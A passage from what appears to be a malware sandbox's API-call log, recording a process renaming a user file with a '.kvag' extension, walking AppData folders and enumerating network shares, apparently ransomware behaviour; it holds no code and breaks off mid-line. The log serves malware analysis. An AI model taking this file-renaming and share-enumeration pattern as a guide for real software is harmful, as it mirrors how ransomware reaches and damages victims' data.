MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\VGMTOI09\\www.msn[1].xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\vgmtoi09\\www.msn[1].xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\VGMTOI09\\www.msn[1].xml.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\vgmtoi09\\www.msn[1].xml.kvag")) returned 1 [0122.085] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0122.085] PeekMessageW (in: lpMsg=0x6a5ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5ff08) returned 0 [0122.085] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0122.085] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\security\\") returned="security\\" [0122.085] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\") returned="Deployment\\" [0122.085] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\") returned="Java\\" [0122.085] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\") returned="Sun\\" [0122.085] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0122.085] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0122.085] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0122.085] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0122.085] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.085] PathFindFileNameW (pszPath="") returned="" [0122.086] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\security\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1e5aaf0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1e5aaf0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1e5aaf0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6183848 [0122.086] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0122.087] PeekMessageW (in: lpMsg=0x6a5ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5ff08) returned 0 [0122.087] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0122.087] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\tmp\\") returned="tmp\\" [0122.087] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\") returned="Deployment\\" [0122.087] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\") returned="Java\\" [0122.087] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\") returned="Sun\\" [0122.087] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0122.087] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0122.087] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0122.087] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0122.087] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.087] PathFindFileNameW (pszPath="") returned="" [0122.087] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\tmp\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1dc2570, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1dc2570, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1dc2570, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6183848 [0122.088] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0122.088] PeekMessageW (in: lpMsg=0x6a5ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5ff08) returned 0 [0122.088] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0122.088] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\all\\") returned="all\\" [0122.088] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\") returned="Adobe Custom Dictionary\\" [0122.088] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\") returned="Dictionaries\\" [0122.088] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="Linguistics\\" [0122.088] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0122.088] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0122.088] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0122.088] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0122.088] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0122.088] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.088] PathFindFileNameW (pszPath="") returned="" [0122.088] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\all\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe82613f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe82613f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe82613f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6183848 [0122.089] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0122.090] PeekMessageW (in: lpMsg=0x6a5ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5ff08) returned 0 [0122.090] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0122.090] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\brt\\") returned="brt\\" [0122.090] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\") returned="Adobe Custom Dictionary\\" [0122.090] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\") returned="Dictionaries\\" [0122.090] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="Linguistics\\" [0122.090] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0122.090] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0122.090] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0122.090] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\brt\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeab70f70, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeab70f70, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeab70f70, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6183848 [0122.091] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0122.091] PeekMessageW (in: lpMsg=0x6a5ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5ff08) returned 0 [0122.091] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0122.091] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\brz\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec6bf330, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec6bf330, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec6bf330, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6183848 [0122.092] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0122.092] PeekMessageW (in: lpMsg=0x6a5ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5ff08) returned 0 [0122.092] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0122.092] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\dan\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeb4758f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeb4758f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeb4758f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6183848 [0122.093] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0122.093] PeekMessageW (in: lpMsg=0x6a5ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5ff08) returned 0 [0122.093] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0122.093] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\dut\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xebdabf50, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xebdabf50, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xebdabf50, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6183848 [0122.093] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0122.093] PeekMessageW (in: lpMsg=0x6a5ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5ff08) returned 0 [0122.093] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0122.094] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\eng\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9487bb0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9487bb0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9487bb0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6183848 [0122.094] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0122.094] PeekMessageW (in: lpMsg=0x6a5ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5ff08) returned 0 [0122.094] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0122.094] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\frn\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9d9af90, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9d9af90, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9d9af90, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6183848 [0122.094] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0122.094] PeekMessageW (in: lpMsg=0x6a5ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5ff08) returned 0 [0122.095] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0122.095] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\grm\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9924650, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9924650, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9924650, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6183848 [0122.095] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0122.095] PeekMessageW (in: lpMsg=0x6a5ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5ff08) returned 0 [0122.095] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0122.095] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\itl\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xea6d44d0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xea6d44d0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xea6d44d0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6183848 [0122.095] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0122.096] PeekMessageW (in: lpMsg=0x6a5ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5ff08) returned 0 [0122.096] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0122.096] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\nrw\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeb90f4b0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeb90f4b0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeb90f4b0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6183848 [0122.096] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0122.096] PeekMessageW (in: lpMsg=0x6a5ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5ff08) returned 0 [0122.096] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0122.096] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\prt\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec2489f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec2489f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec2489f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6183848 [0122.096] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0122.097] PeekMessageW (in: lpMsg=0x6a5ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5ff08) returned 0 [0122.097] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0122.097] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\spn\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xea237a30, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xea237a30, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xea237a30, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6183848 [0122.097] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0122.097] PeekMessageW (in: lpMsg=0x6a5ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5ff08) returned 0 [0122.097] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0122.097] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\swd\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeaffa190, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeaffa190, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeaffa190, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6183848 [0122.098] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0122.098] PeekMessageW (in: lpMsg=0x6a5ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5ff08) returned 0 [0122.098] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0122.098] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\tmp\\si\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1dc2570, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xfaeead90, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xfeca8830, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6183848 [0122.098] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0122.098] PeekMessageW (in: lpMsg=0x6a5ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5ff08) returned 0 [0122.098] SendMessageW (hWnd=0x200dc, Msg=0x8003, wParam=0x0, lParam=0x0) returned 0x0 Thread: id = 346 os_tid = 0x664 [0115.913] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x6b9fee0 | out: lphEnum=0x6b9fee0*=0x6183808) returned 0x0 [0115.950] WNetEnumResourceW (in: hEnum=0x6183808, lpcCount=0x6b9fedc, lpBuffer=0x61e3aa0, lpBufferSize=0x6b9fed8 | out: lpcCount=0x6b9fedc, lpBuffer=0x61e3aa0, lpBufferSize=0x6b9fed8) returned 0x0 [0115.950] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x40) returned 0x6162430 [0115.950] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x40) returned 0x6162478 [0115.950] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x70) returned 0x6145c10 [0115.950] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x40) returned 0x61624c0 [0115.950] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x40) returned 0x6162508 [0115.950] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x61e3aa0, lphEnum=0x6b9fe28 | out: lphEnum=0x6b9fe28*=0x35d6350) returned 0x0 [0115.972] WNetEnumResourceW (in: hEnum=0x35d6350, lpcCount=0x6b9fe24, lpBuffer=0x61e8aa8, lpBufferSize=0x6b9fe20 | out: lpcCount=0x6b9fe24, lpBuffer=0x61e8aa8, lpBufferSize=0x6b9fe20) returned 0x103 [0115.972] WNetCloseEnum (hEnum=0x35d6350) returned 0x0 [0115.973] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6162478 | out: hHeap=0x35b0000) returned 1 [0115.973] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6162430 | out: hHeap=0x35b0000) returned 1 [0115.973] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x40) returned 0x6162430 [0115.973] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x40) returned 0x6162478 [0115.973] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0xe0) returned 0x61849c8 [0115.973] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x40) returned 0x6161e00 [0115.973] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x40) returned 0x6162598 [0115.973] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6162508 | out: hHeap=0x35b0000) returned 1 [0115.973] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61624c0 | out: hHeap=0x35b0000) returned 